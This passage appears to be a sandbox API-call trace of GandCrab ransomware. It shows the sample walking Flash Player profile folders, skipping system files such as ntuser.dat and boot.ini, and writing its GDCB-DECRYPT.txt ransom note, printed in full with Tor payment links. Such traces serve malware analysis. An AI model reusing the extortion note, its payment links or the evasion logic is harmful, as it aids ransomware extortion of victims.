pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.733] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned 77 [0053.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0053.733] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b7e30 [0053.733] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.733] FindNextFileW (in: hFindFile=0x5b7e30, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.733] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.734] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.734] FindNextFileW (in: hFindFile=0x5b7e30, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.734] lstrcmpW (lpString1="DQQHJZ8C", lpString2=".") returned 1 [0053.734] lstrcmpW (lpString1="DQQHJZ8C", lpString2="..") returned 1 [0053.734] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0053.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned 85 [0053.734] FindNextFileW (in: hFindFile=0x5b7e30, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.734] FindClose (in: hFindFile=0x5b7e30 | out: hFindFile=0x5b7e30) returned 1 [0053.734] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.734] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\\\GDCB-DECRYPT.txt") returned 94 [0053.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.735] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.735] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.736] CloseHandle (hObject=0x4fc) returned 1 [0053.736] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned 77 [0053.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0053.736] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b86f0 [0053.736] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.736] FindNextFileW (in: hFindFile=0x5b86f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.736] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.736] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.736] FindNextFileW (in: hFindFile=0x5b86f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.736] lstrcmpW (lpString1="DQQHJZ8C", lpString2=".") returned 1 [0053.736] lstrcmpW (lpString1="DQQHJZ8C", lpString2="..") returned 1 [0053.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0053.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\" [0053.736] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.736] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.737] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned 86 [0053.737] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*" [0053.737] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b87b0 [0053.737] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.737] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.737] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.737] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.737] FindNextFileW (in: hFindFile=0x5b87b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.737] FindClose (in: hFindFile=0x5b87b0 | out: hFindFile=0x5b87b0) returned 1 [0053.737] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.737] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\\\GDCB-DECRYPT.txt") returned 103 [0053.737] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\dqqhjz8c\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.738] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.738] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.738] CloseHandle (hObject=0x500) returned 1 [0053.738] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.738] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned 86 [0053.738] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*" [0053.739] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5b8730 [0053.739] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.739] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.739] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.739] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.739] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.739] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.739] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt" [0053.739] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.739] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0053.739] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0053.739] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0053.739] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.739] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.739] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.740] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.740] FindClose (in: hFindFile=0x5b8730 | out: hFindFile=0x5b8730) returned 1 [0053.740] FindNextFileW (in: hFindFile=0x5b86f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.740] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.740] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.740] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt" [0053.740] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.740] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0053.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0053.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0053.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.740] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.740] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x5b86f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.741] FindClose (in: hFindFile=0x5b86f0 | out: hFindFile=0x5b86f0) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.741] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.741] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt" [0053.741] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.741] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0053.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0053.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0053.741] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.741] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.741] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.741] lstrcmpW (lpString1="macromedia.com", lpString2=".") returned 1 [0053.741] lstrcmpW (lpString1="macromedia.com", lpString2="..") returned 1 [0053.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0053.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0053.741] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.741] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.742] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned 77 [0053.742] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0053.742] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8770 [0053.742] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.742] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.742] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.742] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.742] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.742] lstrcmpW (lpString1="support", lpString2=".") returned 1 [0053.742] lstrcmpW (lpString1="support", lpString2="..") returned 1 [0053.742] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0053.742] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 84 [0053.742] lstrcmpW (lpString1=".com\\support", lpString2=".sql") returned -1 [0053.742] FindNextFileW (in: hFindFile=0x5b8770, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.742] FindClose (in: hFindFile=0x5b8770 | out: hFindFile=0x5b8770) returned 1 [0053.742] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.742] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\\\GDCB-DECRYPT.txt") returned 94 [0053.742] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.744] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.744] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.745] CloseHandle (hObject=0x4fc) returned 1 [0053.745] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.745] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned 77 [0053.745] lstrcatW (in: 